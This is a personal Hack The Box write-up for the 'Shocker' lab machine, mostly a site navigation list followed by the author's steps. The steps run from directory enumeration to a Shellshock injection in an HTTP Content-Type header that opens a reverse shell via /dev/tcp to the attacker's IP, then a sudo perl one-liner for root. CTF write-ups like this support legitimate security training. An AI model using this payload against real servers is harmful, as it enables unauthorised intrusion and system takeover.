HTB Writeups
  • HTB Writeups
  • Boxes: Very Easy
    • Academy
    • Archetype
    • Arctic
    • Base
    • Bike
    • Blue
    • Explosion
    • Included
    • Markup
    • Oopsie
    • Redeemer
    • Responder
    • Shield
    • Unified
    • Vaccine
  • Boxes: Easy
    • Analytics
    • Armageddon
    • Bashed
    • Beep
    • Blocky
    • Bounty Hunter
    • Buff
    • Cap
    • CozyHosting
    • Devel
    • Explore
    • Forest
    • Grandpa
    • Granny
    • Horizontall
    • Jerry
    • Keeper
    • Knife
    • Lame
    • Late
    • Legacy
    • Mirai
    • Netmon
    • Nibbles
    • Optimum
    • Paper
    • Photobomb
    • Precious
    • RedPanda
    • Return
    • Sau
    • ScriptKiddie
    • Sense
    • Servmon
    • Shocker
    • Shoppy
    • Squashed
    • Trick
  • Boxes: Medium
    • Poison
  • Challenges
    • Behind the Scenes
    • Canvas
    • Debugging Interface
    • Digital Cube
    • Easy Phish
    • Find the Easy Pass
    • Forest
    • Infiltration
    • misDIRection
    • Pusheen Loves Graphs
    • Retro
    • Signals
    • The Secret of a Queen
    • Wrong Spooky Season
  • Fortresses
  • Cyber Apocalypse 2023: The Cursed Mission
    • The Cursed Mission
    • Alien Cradle
    • Critical Flight
    • Debug
    • Extraterrestrial Persistence
    • Getting Started
    • Needle in the Haystack
    • Orbital
    • Packet Cyclone
    • Passman
    • Perfect Sync
    • Persistence
    • Plaintext Tleasure
    • Questionnaire
    • Reconfiguration
    • Relic Maps
    • Roten
    • Secret Code
    • Shattered Tablet
    • Small StEps
  • Hack the Boo 2023
    • Hauntmart
    • Spellbrewery
    • Trick or Treat
    • Valhalloween
  • Cyber Apocalypse 2024: Hacker Royale
    • Hacker Royale
    • An Unusual Sighting
    • BoxCutter
    • BunnyPass
    • Character
    • Data Siege
    • Delulu
    • Dynastic
    • Fake Boost
    • Flag Command
    • Game Invitation
    • It has begun
    • KORP Terminal
    • Labyrinth Linguist
    • LockTalk
    • Lucky Faucet
    • Makeshift
    • Maze
    • Packed Away
    • Phreaky
    • Primary Knowledge
    • Pursue the Tracks
    • Rids
    • Russian Roulette
    • Stop Drop and Roll
    • Testimonial
    • TimeKORP
    • Unbreakable
    • Urgent
  • CYBER APOCALYPSE 2025: Tales from Eldoria
    • Tales from Eldoria
    • A New Hire
    • Cave Expedition
    • Echoes in Stone
    • Eldorion
    • Embassy
    • EncryptedScroll
    • HeliosDEX
    • Quack Quack
    • Silent Trap
    • Stealth Invasion
    • Tales for the Brave
    • The Ancient Citadel
    • The Hillside Haven
    • The Stone That Whispers
    • Thorins Amulet
    • ToolPie
    • Traces
    • Trial by Fire
    • Whispers of the Moonbeam
Powered by GitBook
On this page
  • Enumeration
  • Shellshock Exploit
  • Internal Enumeration
  • Privilege Escalation
  1. Boxes: Easy

Shocker

Personal Rating: Easy

PreviousServmonNextShoppy

Last updated 1 year ago

Enumeration

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

Wappalyzer shows php being used. Running a directory scan against the page:

feroxbuster -u http://10.10.10.56/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -C 404 -x php

I should create a wordlist that contains all specialized wordlists of the Web-Content directory. This way I can find application-specific web dirs better and quicker. This was found by feroxbuster:

http://10.10.10.56/icons/README # Apache default file
http://10.10.10.56/cgi-bin/ # Dir for cgi scripts, interesting!

This tells me that there is likely a cgi script that I can attack. I will fuzz for it:

feroxbuster -u http://10.10.10.56/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -C 404

This article that I found when searching for cgi-bin recommends to use nikto, so I did:

nikto -C all -host 10.10.10.56

This yielded nothing useful and I must admit this was the first time using nikto for me.

I read a tip that cgi scripts can be found in all scripting languages, so I will do another fuzz with more extensions.

feroxbuster -u http://10.10.10.56/cgi-bin/ -C 404 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x cgi php sh js pl rb py

200 GET 
http://10.10.10.56/cgi-bin/user.sh

Shellshock Exploit

Since the box is called shocker, I will try to look for shellshock, as this is commonly abused with CGI scripts for os command injection.

Since the content type is given here, that might be where I have to inject:

This request worked directly to get a shell:

GET /cgi-bin/user.sh HTTP/1.1
Host: 10.10.10.56
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Content-Type: () { :;}; /bin/bash -i >& /dev/tcp/10.10.16.6/4444 0>&1
Connection: close
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

Internal Enumeration

uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

sudo -l shew that privesc would be easy:

(root) NOPASSWD: /usr/bin/perl

Privilege Escalation

I could not write files:

This worked to get a root shell:

perl -e 'exec "/bin/sh";'

feroxbuster -u -C 404 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x cgi

http://10.10.10.56/cgi-bin/
CGIHackTricks
Logo